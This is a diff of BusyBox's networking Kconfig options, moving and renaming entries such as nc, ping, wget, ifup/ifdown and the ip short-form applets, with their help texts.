-config BUSYBOX_CONFIG_NC
-	bool "nc"
-	default BUSYBOX_DEFAULT_NC
-	help
-	  A simple Unix utility which reads and writes data across network
-	  connections.
-
-config BUSYBOX_CONFIG_NC_SERVER
-	bool "Netcat server options (-l)"
-	default BUSYBOX_DEFAULT_NC_SERVER
-	depends on BUSYBOX_CONFIG_NC
-	help
-	  Allow netcat to act as a server.
-
-config BUSYBOX_CONFIG_NC_EXTRA
-	bool "Netcat extensions (-eiw and -f FILE)"
-	default BUSYBOX_DEFAULT_NC_EXTRA
-	depends on BUSYBOX_CONFIG_NC
-	help
-	  Add -e (support for executing the rest of the command line after
-	  making or receiving a successful connection), -i (delay interval for
-	  lines sent), -w (timeout for initial connection).
-
-config BUSYBOX_CONFIG_NC_110_COMPAT
-	bool "Netcat 1.10 compatibility (+2.5k)"
-	default BUSYBOX_DEFAULT_NC_110_COMPAT  # off specially for Rob
-	depends on BUSYBOX_CONFIG_NC
-	help
-	  This option makes nc closely follow original nc-1.10.
-	  The code is about 2.5k bigger. It enables
-	  -s ADDR, -n, -u, -v, -o FILE, -z options, but loses
-	  busybox-specific extensions: -f FILE.
-config BUSYBOX_CONFIG_PING
-	bool "ping"
-	default BUSYBOX_DEFAULT_PING
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  ping uses the ICMP protocol's mandatory ECHO_REQUEST datagram to
-	  elicit an ICMP ECHO_RESPONSE from a host or gateway.
-
-config BUSYBOX_CONFIG_PING6
-	bool "ping6"
-	default BUSYBOX_DEFAULT_PING6
-	depends on BUSYBOX_CONFIG_FEATURE_IPV6 && BUSYBOX_CONFIG_PING
-	help
-	  This will give you a ping that can talk IPv6.
-
-config BUSYBOX_CONFIG_FEATURE_FANCY_PING
-	bool "Enable fancy ping output"
-	default BUSYBOX_DEFAULT_FEATURE_FANCY_PING
-	depends on BUSYBOX_CONFIG_PING
-	help
-	  Make the output from the ping applet include statistics, and at the
-	  same time provide full support for ICMP packets.
-config BUSYBOX_CONFIG_WGET
-	bool "wget"
-	default BUSYBOX_DEFAULT_WGET
-	help
-	  wget is a utility for non-interactive download of files from HTTP
-	  and FTP servers.
-
-config BUSYBOX_CONFIG_FEATURE_WGET_STATUSBAR
-	bool "Enable a nifty process meter (+2k)"
-	default BUSYBOX_DEFAULT_FEATURE_WGET_STATUSBAR
-	depends on BUSYBOX_CONFIG_WGET
-	help
-	  Enable the transfer progress bar for wget transfers.
-
-config BUSYBOX_CONFIG_FEATURE_WGET_AUTHENTICATION
-	bool "Enable HTTP authentication"
-	default BUSYBOX_DEFAULT_FEATURE_WGET_AUTHENTICATION
-	depends on BUSYBOX_CONFIG_WGET
-	help
-	  Support authenticated HTTP transfers.
-
-config BUSYBOX_CONFIG_FEATURE_WGET_LONG_OPTIONS
-	bool "Enable long options"
-	default BUSYBOX_DEFAULT_FEATURE_WGET_LONG_OPTIONS
-	depends on BUSYBOX_CONFIG_WGET && BUSYBOX_CONFIG_LONG_OPTS
-	help
-	  Support long options for the wget applet.
-
-config BUSYBOX_CONFIG_FEATURE_WGET_TIMEOUT
-	bool "Enable timeout option -T SEC"
-	default BUSYBOX_DEFAULT_FEATURE_WGET_TIMEOUT
-	depends on BUSYBOX_CONFIG_WGET
-	help
-	  Supports network read and connect timeouts for wget,
-	  so that wget will give up and timeout, through the -T
-	  command line option.
-
-	  Currently only connect and network data read timeout are
-	  supported (i.e., timeout is not applied to the DNS query). When
-	  FEATURE_WGET_LONG_OPTIONS is also enabled, the --timeout option
-	  will work in addition to -T.
-
-config BUSYBOX_CONFIG_FEATURE_WGET_OPENSSL
-	bool "Try to connect to HTTPS using openssl"
-	default BUSYBOX_DEFAULT_FEATURE_WGET_OPENSSL
-	depends on BUSYBOX_CONFIG_WGET
-	help
-	  Choose how wget establishes SSL connection for https:// URLs.
-
-	  Busybox itself contains no SSL code. wget will spawn
-	  a helper program to talk over HTTPS.
-
-	  OpenSSL has a simple SSL client for debug purposes.
-	  If you select "openssl" helper, wget will effectively call
-	  "openssl s_client -quiet -connect IP:443 2>/dev/null"
-	  and pipe its data through it.
-	  Note inconvenient API: host resolution is done twice,
-	  and there is no guarantee openssl's idea of IPv6 address
-	  format is the same as ours.
-	  Another problem is that s_client prints debug information
-	  to stderr, and it needs to be suppressed. This means
-	  all error messages get suppressed too.
-	  openssl is also a big binary, often dynamically linked
-	  against ~15 libraries.
-
-config BUSYBOX_CONFIG_FEATURE_WGET_SSL_HELPER
-	bool "Try to connect to HTTPS using ssl_helper"
-	default BUSYBOX_DEFAULT_FEATURE_WGET_SSL_HELPER
-	depends on BUSYBOX_CONFIG_WGET
-	help
-	  Choose how wget establishes SSL connection for https:// URLs.
-
-	  Busybox itself contains no SSL code. wget will spawn
-	  a helper program to talk over HTTPS.
-
-	  ssl_helper is a tool which can be built statically
-	  from busybox sources against a small embedded SSL library.
-	  Please see networking/ssl_helper/README.
-	  It does not require double host resolution and emits
-	  error messages to stderr.
-
-	  Precompiled static binary may be available at
-	  http://busybox.net/downloads/binaries/
-config BUSYBOX_CONFIG_WHOIS
-	bool "whois"
-	default BUSYBOX_DEFAULT_WHOIS
-	help
-	  whois is a client for the whois directory service
-
 config BUSYBOX_CONFIG_FEATURE_IPV6
 	bool "Enable IPv6 support"
 	default BUSYBOX_DEFAULT_FEATURE_IPV6
@@ -230,7 +53,6 @@ config BUSYBOX_CONFIG_ARP
 	select BUSYBOX_CONFIG_PLATFORM_LINUX
 	help
 	  Manipulate the system ARP cache.
-
 config BUSYBOX_CONFIG_ARPING
 	bool "arping"
 	default BUSYBOX_DEFAULT_ARPING
@@ -264,37 +86,26 @@ config BUSYBOX_CONFIG_FEATURE_BRCTL_SHOW
 	help
 	  Add support for option which prints the current config:
 	    show
-
 config BUSYBOX_CONFIG_DNSD
 	bool "dnsd"
 	default BUSYBOX_DEFAULT_DNSD
 	help
 	  Small and static DNS server daemon.
-
 config BUSYBOX_CONFIG_ETHER_WAKE
 	bool "ether-wake"
 	default BUSYBOX_DEFAULT_ETHER_WAKE
 	select BUSYBOX_CONFIG_PLATFORM_LINUX
 	help
 	  Send a magic packet to wake up sleeping machines.
-
-config BUSYBOX_CONFIG_FAKEIDENTD
-	bool "fakeidentd"
-	default BUSYBOX_DEFAULT_FAKEIDENTD
-	select BUSYBOX_CONFIG_FEATURE_SYSLOG
-	help
-	  fakeidentd listens on the ident port and returns a predefined
-	  fake value on any query.
-
 config BUSYBOX_CONFIG_FTPD
 	bool "ftpd"
 	default BUSYBOX_DEFAULT_FTPD
 	help
 	  simple FTP daemon. You have to run it via inetd.
 
-config BUSYBOX_CONFIG_FEATURE_FTP_WRITE
+config BUSYBOX_CONFIG_FEATURE_FTPD_WRITE
 	bool "Enable upload commands"
-	default BUSYBOX_DEFAULT_FEATURE_FTP_WRITE
+	default BUSYBOX_DEFAULT_FEATURE_FTPD_WRITE
 	depends on BUSYBOX_CONFIG_FTPD
 	help
 	  Enable all kinds of FTP upload commands (-w option)
@@ -310,13 +121,12 @@ config BUSYBOX_CONFIG_FEATURE_FTPD_ACCEPT_BROKEN_LIST
 	  it increases the code size by ~40 bytes.
 	  Most other ftp servers seem to behave similar to this.
 
-config BUSYBOX_CONFIG_FEATURE_FTP_AUTHENTICATION
+config BUSYBOX_CONFIG_FEATURE_FTPD_AUTHENTICATION
 	bool "Enable authentication"
-	default BUSYBOX_DEFAULT_FEATURE_FTP_AUTHENTICATION
+	default BUSYBOX_DEFAULT_FEATURE_FTPD_AUTHENTICATION
 	depends on BUSYBOX_CONFIG_FTPD
 	help
 	  Enable basic system login as seen in telnet etc.
-
 config BUSYBOX_CONFIG_FTPGET
 	bool "ftpget"
 	default BUSYBOX_DEFAULT_FTPGET
@@ -335,13 +145,17 @@ config BUSYBOX_CONFIG_FEATURE_FTPGETPUT_LONG_OPTIONS
 	depends on BUSYBOX_CONFIG_LONG_OPTS && (BUSYBOX_CONFIG_FTPGET || BUSYBOX_CONFIG_FTPPUT)
 	help
 	  Support long options for the ftpget/ftpput applet.
-
 config BUSYBOX_CONFIG_HOSTNAME
 	bool "hostname"
 	default BUSYBOX_DEFAULT_HOSTNAME
 	help
 	  Show or set the system's host name.
 
+config BUSYBOX_CONFIG_DNSDOMAINNAME
+	bool "dnsdomainname"
+	default BUSYBOX_DEFAULT_DNSDOMAINNAME
+	help
+	  Alias to "hostname -d".
 config BUSYBOX_CONFIG_HTTPD
 	bool "httpd"
 	default BUSYBOX_DEFAULT_HTTPD
@@ -460,7 +274,6 @@ config BUSYBOX_CONFIG_FEATURE_HTTPD_GZIP
 	help
 	  Makes httpd send files using GZIP content encoding if the
 	  client supports it and a pre-compressed <file>.gz exists.
-
 config BUSYBOX_CONFIG_IFCONFIG
 	bool "ifconfig"
 	default BUSYBOX_DEFAULT_IFCONFIG
@@ -508,7 +321,6 @@ config BUSYBOX_CONFIG_FEATURE_IFCONFIG_BROADCAST_PLUS
 	help
 	  Setting this will make ifconfig attempt to find the broadcast
 	  automatically if the value '+' is used.
-
 config BUSYBOX_CONFIG_IFENSLAVE
 	bool "ifenslave"
 	default BUSYBOX_DEFAULT_IFENSLAVE
@@ -516,20 +328,18 @@ config BUSYBOX_CONFIG_IFENSLAVE
 	help
 	  Userspace application to bind several interfaces
 	  to a logical interface (use with kernel bonding driver).
-
 config BUSYBOX_CONFIG_IFPLUGD
 	bool "ifplugd"
 	default BUSYBOX_DEFAULT_IFPLUGD
 	select BUSYBOX_CONFIG_PLATFORM_LINUX
 	help
 	  Network interface plug detection daemon.
-
-config BUSYBOX_CONFIG_IFUPDOWN
-	bool "ifupdown"
-	default BUSYBOX_DEFAULT_IFUPDOWN
+config BUSYBOX_CONFIG_IFUP
+	bool "ifup"
+	default BUSYBOX_DEFAULT_IFUP
 	help
-	  Activate or deactivate the specified interfaces. This applet makes
-	  use of either "ifconfig" and "route" or the "ip" command to actually
+	  Activate the specified interfaces. This applet makes use
+	  of either "ifconfig" and "route" or the "ip" command to actually
 	  configure network interfaces. Therefore, you will probably also want
 	  to enable either IFCONFIG and ROUTE, or enable
 	  FEATURE_IFUPDOWN_IP and the various IP options. Of
@@ -540,10 +350,16 @@ config BUSYBOX_CONFIG_IFUPDOWN
 	  "ifconfig", "route" and "run-parts" or the "ip" command, either
 	  via busybox or via standalone utilities.
 
+config BUSYBOX_CONFIG_IFDOWN
+	bool "ifdown"
+	default BUSYBOX_DEFAULT_IFDOWN
+	help
+	  Deactivate the specified interfaces.
+
 config BUSYBOX_CONFIG_IFUPDOWN_IFSTATE_PATH
 	string "Absolute path to ifstate file"
 	default BUSYBOX_DEFAULT_IFUPDOWN_IFSTATE_PATH
-	depends on BUSYBOX_CONFIG_IFUPDOWN
+	depends on BUSYBOX_CONFIG_IFUP || BUSYBOX_CONFIG_IFDOWN
 	help
 	  ifupdown keeps state information in a file called ifstate.
 	  Typically it is located in /var/run/ifstate, however
@@ -552,69 +368,39 @@ config BUSYBOX_CONFIG_IFUPDOWN_IFSTATE_PATH
 	  This config option defines location of ifstate.
 
 config BUSYBOX_CONFIG_FEATURE_IFUPDOWN_IP
-	bool "Use ip applet"
+	bool "Use ip tool (else ifconfig/route is used)"
 	default BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IP
-	depends on BUSYBOX_CONFIG_IFUPDOWN
+	depends on BUSYBOX_CONFIG_IFUP || BUSYBOX_CONFIG_IFDOWN
 	help
 	  Use the iproute "ip" command to implement "ifup" and "ifdown", rather
-	  than the default of using the older 'ifconfig' and 'route' utilities.
-
-config BUSYBOX_CONFIG_FEATURE_IFUPDOWN_IP_BUILTIN
-	bool "Use busybox ip applet"
-	default BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IP_BUILTIN
-	depends on BUSYBOX_CONFIG_FEATURE_IFUPDOWN_IP
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	select BUSYBOX_CONFIG_IP
-	select BUSYBOX_CONFIG_FEATURE_IP_ADDRESS
-	select BUSYBOX_CONFIG_FEATURE_IP_LINK
-	select BUSYBOX_CONFIG_FEATURE_IP_ROUTE
-	help
-	  Use the busybox iproute "ip" applet to implement "ifupdown".
+	  than the default of using the older "ifconfig" and "route" utilities.
 
-	  If left disabled, you must install the full-blown iproute2
-	  utility or the  "ifup" and "ifdown" applets will not work.
-
-config BUSYBOX_CONFIG_FEATURE_IFUPDOWN_IFCONFIG_BUILTIN
-	bool "Use busybox ifconfig and route applets"
-	default BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IFCONFIG_BUILTIN
-	depends on BUSYBOX_CONFIG_IFUPDOWN && !BUSYBOX_CONFIG_FEATURE_IFUPDOWN_IP
-	select BUSYBOX_CONFIG_IFCONFIG
-	select BUSYBOX_CONFIG_ROUTE
-	help
-	  Use the busybox iproute "ifconfig" and "route" applets to
-	  implement the "ifup" and "ifdown" utilities.
+	  If Y: you must install either the full-blown iproute2 package
+	  or enable "ip" applet in Busybox, or the "ifup" and "ifdown" applets
+	  will not work.
 
-	  If left disabled, you must install the full-blown ifconfig
-	  and route utilities, or the  "ifup" and "ifdown" applets will not
-	  work.
+	  If N: you must install either the full-blown ifconfig and route
+	  utilities, or enable these applets in Busybox.
 
 config BUSYBOX_CONFIG_FEATURE_IFUPDOWN_IPV4
 	bool "Support for IPv4"
 	default BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IPV4
-	depends on BUSYBOX_CONFIG_IFUPDOWN
+	depends on BUSYBOX_CONFIG_IFUP || BUSYBOX_CONFIG_IFDOWN
 	help
 	  If you want ifup/ifdown to talk IPv4, leave this on.
 
 config BUSYBOX_CONFIG_FEATURE_IFUPDOWN_IPV6
 	bool "Support for IPv6"
 	default BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IPV6
-	depends on BUSYBOX_CONFIG_IFUPDOWN && BUSYBOX_CONFIG_FEATURE_IPV6
+	depends on (BUSYBOX_CONFIG_IFUP || BUSYBOX_CONFIG_IFDOWN) && BUSYBOX_CONFIG_FEATURE_IPV6
 	help
 	  If you need support for IPv6, turn this option on.
 
-### UNUSED
-###config FEATURE_IFUPDOWN_IPX
-###	bool "Support for IPX"
-###	default y
-###	depends on IFUPDOWN
-###	help
-###	  If this option is selected you can use busybox to work with IPX
-###	  networks.
 
 config BUSYBOX_CONFIG_FEATURE_IFUPDOWN_MAPPING
 	bool "Enable mapping support"
 	default BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_MAPPING
-	depends on BUSYBOX_CONFIG_IFUPDOWN
+	depends on BUSYBOX_CONFIG_IFUP || BUSYBOX_CONFIG_IFDOWN
 	help
 	  This enables support for the "mapping" stanza, unless you have
 	  a weird network setup you don't need it.
@@ -622,13 +408,12 @@ config BUSYBOX_CONFIG_FEATURE_IFUPDOWN_MAPPING
 config BUSYBOX_CONFIG_FEATURE_IFUPDOWN_EXTERNAL_DHCP
 	bool "Support for external dhcp clients"
 	default BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_EXTERNAL_DHCP
-	depends on BUSYBOX_CONFIG_IFUPDOWN
+	depends on BUSYBOX_CONFIG_IFUP || BUSYBOX_CONFIG_IFDOWN
 	help
 	  This enables support for the external dhcp clients. Clients are
 	  tried in the following order: dhcpcd, dhclient, pump and udhcpc.
 	  Otherwise, if udhcpc applet is enabled, it is used.
 	  Otherwise, ifup/ifdown will have no support for DHCP.
-
 config BUSYBOX_CONFIG_INETD
 	bool "inetd"
 	default BUSYBOX_DEFAULT_INETD
@@ -678,7 +463,6 @@ config BUSYBOX_CONFIG_FEATURE_INETD_RPC
 	select BUSYBOX_CONFIG_FEATURE_HAVE_RPC
 	help
 	  Support Sun-RPC based services
-
 config BUSYBOX_CONFIG_IP
 	bool "ip"
 	default BUSYBOX_DEFAULT_IP
@@ -688,24 +472,72 @@ config BUSYBOX_CONFIG_IP
 	  utility. You generally don't need "ip" to use busybox with
 	  TCP/IP.
 
+config BUSYBOX_CONFIG_IPADDR
+	bool "ipaddr"
+	default BUSYBOX_DEFAULT_IPADDR
+	select BUSYBOX_CONFIG_FEATURE_IP_ADDRESS
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Support short form of ip addr: ipaddr
+
+config BUSYBOX_CONFIG_IPLINK
+	bool "iplink"
+	default BUSYBOX_DEFAULT_IPLINK
+	select BUSYBOX_CONFIG_FEATURE_IP_LINK
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Support short form of ip link: iplink
+
+config BUSYBOX_CONFIG_IPROUTE
+	bool "iproute"
+	default BUSYBOX_DEFAULT_IPROUTE
+	select BUSYBOX_CONFIG_FEATURE_IP_ROUTE
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Support short form of ip route: iproute
+
+config BUSYBOX_CONFIG_IPTUNNEL
+	bool "iptunnel"
+	default BUSYBOX_DEFAULT_IPTUNNEL
+	select BUSYBOX_CONFIG_FEATURE_IP_TUNNEL
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Support short form of ip tunnel: iptunnel
+
+config BUSYBOX_CONFIG_IPRULE
+	bool "iprule"
+	default BUSYBOX_DEFAULT_IPRULE
+	select BUSYBOX_CONFIG_FEATURE_IP_RULE
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Support short form of ip rule: iprule
+
+config BUSYBOX_CONFIG_IPNEIGH
+	bool "ipneigh"
+	default BUSYBOX_DEFAULT_IPNEIGH
+	select BUSYBOX_CONFIG_FEATURE_IP_NEIGH
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Support short form of ip neigh: ipneigh
+
 config BUSYBOX_CONFIG_FEATURE_IP_ADDRESS
 	bool "ip address"
 	default BUSYBOX_DEFAULT_FEATURE_IP_ADDRESS
-	depends on BUSYBOX_CONFIG_IP
+	depends on BUSYBOX_CONFIG_IP || BUSYBOX_CONFIG_IPADDR
 	help
 	  Address manipulation support for the "ip" applet.
 
 config BUSYBOX_CONFIG_FEATURE_IP_LINK
 	bool "ip link"
 	default BUSYBOX_DEFAULT_FEATURE_IP_LINK
-	depends on BUSYBOX_CONFIG_IP
+	depends on BUSYBOX_CONFIG_IP || BUSYBOX_CONFIG_IPLINK
 	help
 	  Configure network devices with "ip".
 
 config BUSYBOX_CONFIG_FEATURE_IP_ROUTE
 	bool "ip route"
 	default BUSYBOX_DEFAULT_FEATURE_IP_ROUTE
-	depends on BUSYBOX_CONFIG_IP
+	depends on BUSYBOX_CONFIG_IP || BUSYBOX_CONFIG_IPROUTE
 	help
 	  Add support for routing table management to "ip".
 
@@ -719,80 +551,33 @@ config BUSYBOX_CONFIG_FEATURE_IP_ROUTE_DIR
 config BUSYBOX_CONFIG_FEATURE_IP_TUNNEL
 	bool "ip tunnel"
 	default BUSYBOX_DEFAULT_FEATURE_IP_TUNNEL
-	depends on BUSYBOX_CONFIG_IP
+	depends on BUSYBOX_CONFIG_IP || BUSYBOX_CONFIG_IPTUNNEL
 	help
 	  Add support for tunneling commands to "ip".
 
 config BUSYBOX_CONFIG_FEATURE_IP_RULE
 	bool "ip rule"
 	default BUSYBOX_DEFAULT_FEATURE_IP_RULE
-	depends on BUSYBOX_CONFIG_IP
+	depends on BUSYBOX_CONFIG_IP || BUSYBOX_CONFIG_IPRULE
 	help
 	  Add support for rule commands to "ip".
 
 config BUSYBOX_CONFIG_FEATURE_IP_NEIGH
 	bool "ip neighbor"
 	default BUSYBOX_DEFAULT_FEATURE_IP_NEIGH
-	depends on BUSYBOX_CONFIG_IP
+	depends on BUSYBOX_CONFIG_IP || BUSYBOX_CONFIG_IPNEIGH
 	help
 	  Add support for neighbor commands to "ip".
 
-config BUSYBOX_CONFIG_FEATURE_IP_SHORT_FORMS
-	bool "Support short forms of ip commands"
-	default BUSYBOX_DEFAULT_FEATURE_IP_SHORT_FORMS
-	depends on BUSYBOX_CONFIG_IP
-	help
-	  Also support short-form of ip <OBJECT> commands:
-	  ip addr   -> ipaddr
-	  ip link   -> iplink
-	  ip route  -> iproute
-	  ip tunnel -> iptunnel
-	  ip rule   -> iprule
-	  ip neigh  -> ipneigh
-
-	  Say N unless you desparately need the short form of the ip
-	  object commands.
-
 config BUSYBOX_CONFIG_FEATURE_IP_RARE_PROTOCOLS
 	bool "Support displaying rarely used link types"
 	default BUSYBOX_DEFAULT_FEATURE_IP_RARE_PROTOCOLS
-	depends on BUSYBOX_CONFIG_IP
+	depends on BUSYBOX_CONFIG_IP || BUSYBOX_CONFIG_IPADDR || BUSYBOX_CONFIG_IPLINK || BUSYBOX_CONFIG_IPROUTE || BUSYBOX_CONFIG_IPTUNNEL || BUSYBOX_CONFIG_IPRULE || BUSYBOX_CONFIG_IPNEIGH
 	help
 	  If you are not going to use links of type "frad", "econet",
 	  "bif" etc, you probably don't need to enable this.
 	  Ethernet, wireless, infrared, ppp/slip, ip tunnelling
 	  link types are supported without this option selected.
-
-config BUSYBOX_CONFIG_IPADDR
-	bool
-	default BUSYBOX_DEFAULT_IPADDR
-	depends on BUSYBOX_CONFIG_FEATURE_IP_SHORT_FORMS && BUSYBOX_CONFIG_FEATURE_IP_ADDRESS
-
-config BUSYBOX_CONFIG_IPLINK
-	bool
-	default BUSYBOX_DEFAULT_IPLINK
-	depends on BUSYBOX_CONFIG_FEATURE_IP_SHORT_FORMS && BUSYBOX_CONFIG_FEATURE_IP_LINK
-
-config BUSYBOX_CONFIG_IPROUTE
-	bool
-	default BUSYBOX_DEFAULT_IPROUTE
-	depends on BUSYBOX_CONFIG_FEATURE_IP_SHORT_FORMS && BUSYBOX_CONFIG_FEATURE_IP_ROUTE
-
-config BUSYBOX_CONFIG_IPTUNNEL
-	bool
-	default BUSYBOX_DEFAULT_IPTUNNEL
-	depends on BUSYBOX_CONFIG_FEATURE_IP_SHORT_FORMS && BUSYBOX_CONFIG_FEATURE_IP_TUNNEL
-
-config BUSYBOX_CONFIG_IPRULE
-	bool
-	default BUSYBOX_DEFAULT_IPRULE
-	depends on BUSYBOX_CONFIG_FEATURE_IP_SHORT_FORMS && BUSYBOX_CONFIG_FEATURE_IP_RULE
-
-config BUSYBOX_CONFIG_IPNEIGH
-	bool
-	default BUSYBOX_DEFAULT_IPNEIGH
-	depends on BUSYBOX_CONFIG_FEATURE_IP_SHORT_FORMS && BUSYBOX_CONFIG_FEATURE_IP_NEIGH
-
 config BUSYBOX_CONFIG_IPCALC
 	bool "ipcalc"
 	default BUSYBOX_DEFAULT_IPCALC
@@ -814,13 +599,84 @@ config BUSYBOX_CONFIG_FEATURE_IPCALC_LONG_OPTIONS
 	depends on BUSYBOX_CONFIG_IPCALC && BUSYBOX_CONFIG_LONG_OPTS
 	help
 	  Support long options for the ipcalc applet.
+config BUSYBOX_CONFIG_FAKEIDENTD
+	bool "fakeidentd"
+	default BUSYBOX_DEFAULT_FAKEIDENTD
+	select BUSYBOX_CONFIG_FEATURE_SYSLOG
+	help
+	  fakeidentd listens on the ident port and returns a predefined
+	  fake value on any query.
+config BUSYBOX_CONFIG_NAMEIF
+	bool "nameif"
+	default BUSYBOX_DEFAULT_NAMEIF
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	select BUSYBOX_CONFIG_FEATURE_SYSLOG
+	help
+	  nameif is used to rename network interface by its MAC address.
+	  Renamed interfaces MUST be in the down state.
+	  It is possible to use a file (default: /etc/mactab)
+	  with list of new interface names and MACs.
+	  Maximum interface name length: IFNAMSIZ = 16
+	  File fields are separated by space or tab.
+	  File format:
+	  # Comment
+	  new_interface_name    XX:XX:XX:XX:XX:XX
 
+config BUSYBOX_CONFIG_FEATURE_NAMEIF_EXTENDED
+	bool "Extended nameif"
+	default BUSYBOX_DEFAULT_FEATURE_NAMEIF_EXTENDED
+	depends on BUSYBOX_CONFIG_NAMEIF
+	help
+	  This extends the nameif syntax to support the bus_info, driver,
+	  phyaddr selectors. The syntax is compatible to the normal nameif.
+	  File format:
+	    new_interface_name  driver=asix bus=usb-0000:00:08.2-3
+	    new_interface_name  bus=usb-0000:00:08.2-3 00:80:C8:38:91:B5
+	    new_interface_name  phy_address=2 00:80:C8:38:91:B5
+	    new_interface_name  mac=00:80:C8:38:91:B5
+	    new_interface_name  00:80:C8:38:91:B5
+config BUSYBOX_CONFIG_NBDCLIENT
+	bool "nbd-client"
+	default BUSYBOX_DEFAULT_NBDCLIENT
+	help
+	  Network block device client
+config BUSYBOX_CONFIG_NC
+	bool "nc"
+	default BUSYBOX_DEFAULT_NC
+	help
+	  A simple Unix utility which reads and writes data across network
+	  connections.
+
+config BUSYBOX_CONFIG_NC_SERVER
+	bool "Netcat server options (-l)"
+	default BUSYBOX_DEFAULT_NC_SERVER
+	depends on BUSYBOX_CONFIG_NC
+	help
+	  Allow netcat to act as a server.
+
+config BUSYBOX_CONFIG_NC_EXTRA
+	bool "Netcat extensions (-eiw and -f FILE)"
+	default BUSYBOX_DEFAULT_NC_EXTRA
+	depends on BUSYBOX_CONFIG_NC
+	help
+	  Add -e (support for executing the rest of the command line after
+	  making or receiving a successful connection), -i (delay interval for
+	  lines sent), -w (timeout for initial connection).
+
+config BUSYBOX_CONFIG_NC_110_COMPAT
+	bool "Netcat 1.10 compatibility (+2.5k)"
+	default BUSYBOX_DEFAULT_NC_110_COMPAT  # off specially for Rob
+	depends on BUSYBOX_CONFIG_NC
+	help
+	  This option makes nc closely follow original nc-1.10.
+	  The code is about 2.5k bigger. It enables
+	  -s ADDR, -n, -u, -v, -o FILE, -z options, but loses
+	  busybox-specific extensions: -f FILE.
 config BUSYBOX_CONFIG_NETMSG
 	bool "netmsg"
 	default BUSYBOX_DEFAULT_NETMSG
 	help
 	  simple program for sending udp broadcast messages
-
 config BUSYBOX_CONFIG_NETSTAT
 	bool "netstat"
 	default BUSYBOX_DEFAULT_NETSTAT
@@ -843,13 +699,11 @@ config BUSYBOX_CONFIG_FEATURE_NETSTAT_PRG
 	help
 	  Add support for -p flag to print out PID and program name.
 	  +700 bytes of code.
-
 config BUSYBOX_CONFIG_NSLOOKUP
 	bool "nslookup"
 	default BUSYBOX_DEFAULT_NSLOOKUP
 	help
 	  nslookup is a tool to query Internet name servers.
-
 config BUSYBOX_CONFIG_NTPD
 	bool "ntpd"
 	default BUSYBOX_DEFAULT_NTPD
@@ -872,20 +726,39 @@ config BUSYBOX_CONFIG_FEATURE_NTPD_CONF
 	help
 	  Make ntpd look in /etc/ntp.conf for peers. Only "server address"
 	  is supported.
+config BUSYBOX_CONFIG_PING
+	bool "ping"
+	default BUSYBOX_DEFAULT_PING
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  ping uses the ICMP protocol's mandatory ECHO_REQUEST datagram to
+	  elicit an ICMP ECHO_RESPONSE from a host or gateway.
 
+config BUSYBOX_CONFIG_PING6
+	bool "ping6"
+	default BUSYBOX_DEFAULT_PING6
+	depends on BUSYBOX_CONFIG_FEATURE_IPV6
+	help
+	  This will give you a ping that can talk IPv6.
+
+config BUSYBOX_CONFIG_FEATURE_FANCY_PING
+	bool "Enable fancy ping output"
+	default BUSYBOX_DEFAULT_FEATURE_FANCY_PING
+	depends on BUSYBOX_CONFIG_PING || BUSYBOX_CONFIG_PING6
+	help
+	  Make the output from the ping applet include statistics, and at the
+	  same time provide full support for ICMP packets.
 config BUSYBOX_CONFIG_PSCAN
 	bool "pscan"
 	default BUSYBOX_DEFAULT_PSCAN
 	help
 	  Simple network port scanner.
-
 config BUSYBOX_CONFIG_ROUTE
 	bool "route"
 	default BUSYBOX_DEFAULT_ROUTE
 	select BUSYBOX_CONFIG_PLATFORM_LINUX
 	help
 	  Route displays or manipulates the kernel's IP routing tables.
-
 config BUSYBOX_CONFIG_SLATTACH
 	bool "slattach"
 	default BUSYBOX_DEFAULT_SLATTACH
@@ -893,17 +766,6 @@ config BUSYBOX_CONFIG_SLATTACH
 	help
 	  slattach is a small utility to attach network interfaces to serial
 	  lines.
-
-#config TC
-#	bool "tc"
-#	default y
-#	help
-#	  show / manipulate traffic control settings
-#
-#config FEATURE_TC_INGRESS
-#	def_bool n
-#	depends on TC
-
 config BUSYBOX_CONFIG_TCPSVD
 	bool "tcpsvd"
 	default BUSYBOX_DEFAULT_TCPSVD
@@ -911,6 +773,12 @@ config BUSYBOX_CONFIG_TCPSVD
 	  tcpsvd listens on a TCP port and runs a program for each new
 	  connection.
 
+config BUSYBOX_CONFIG_UDPSVD
+	bool "udpsvd"
+	default BUSYBOX_DEFAULT_UDPSVD
+	help
+	  udpsvd listens on an UDP port and runs a program for each new
+	  connection.
 config BUSYBOX_CONFIG_TELNET
 	bool "telnet"
 	default BUSYBOX_DEFAULT_TELNET
@@ -936,7 +804,6 @@ config BUSYBOX_CONFIG_FEATURE_TELNET_AUTOLOGIN
 	  remote host you are connecting to. This is useful when you need to
 	  log into a machine without telling the username (autologin). This
 	  option enables `-a' and `-l USER' arguments.
-
 config BUSYBOX_CONFIG_TELNETD
 	bool "telnetd"
 	default BUSYBOX_DEFAULT_TELNETD
@@ -978,7 +845,6 @@ config BUSYBOX_CONFIG_TELNETD
 
 	  with all that done, telnetd _should_ work....
 
-
 config BUSYBOX_CONFIG_FEATURE_TELNETD_STANDALONE
 	bool "Support standalone telnetd (not inetd only)"
 	default BUSYBOX_DEFAULT_FEATURE_TELNETD_STANDALONE
@@ -1006,7 +872,6 @@ config BUSYBOX_CONFIG_FEATURE_TELNETD_INETD_WAIT
 	  This option is rarely used. "tcp nowait" is much more usual
 	  way of running tcp services, including telnetd.
 	  You most probably want to say N here.
-
 config BUSYBOX_CONFIG_TFTP
 	bool "tftp"
 	default BUSYBOX_DEFAULT_TFTP
@@ -1071,7 +936,6 @@ config BUSYBOX_CONFIG_TFTP_DEBUG
 	help
 	  Make tftp[d] print debugging messages on stderr.
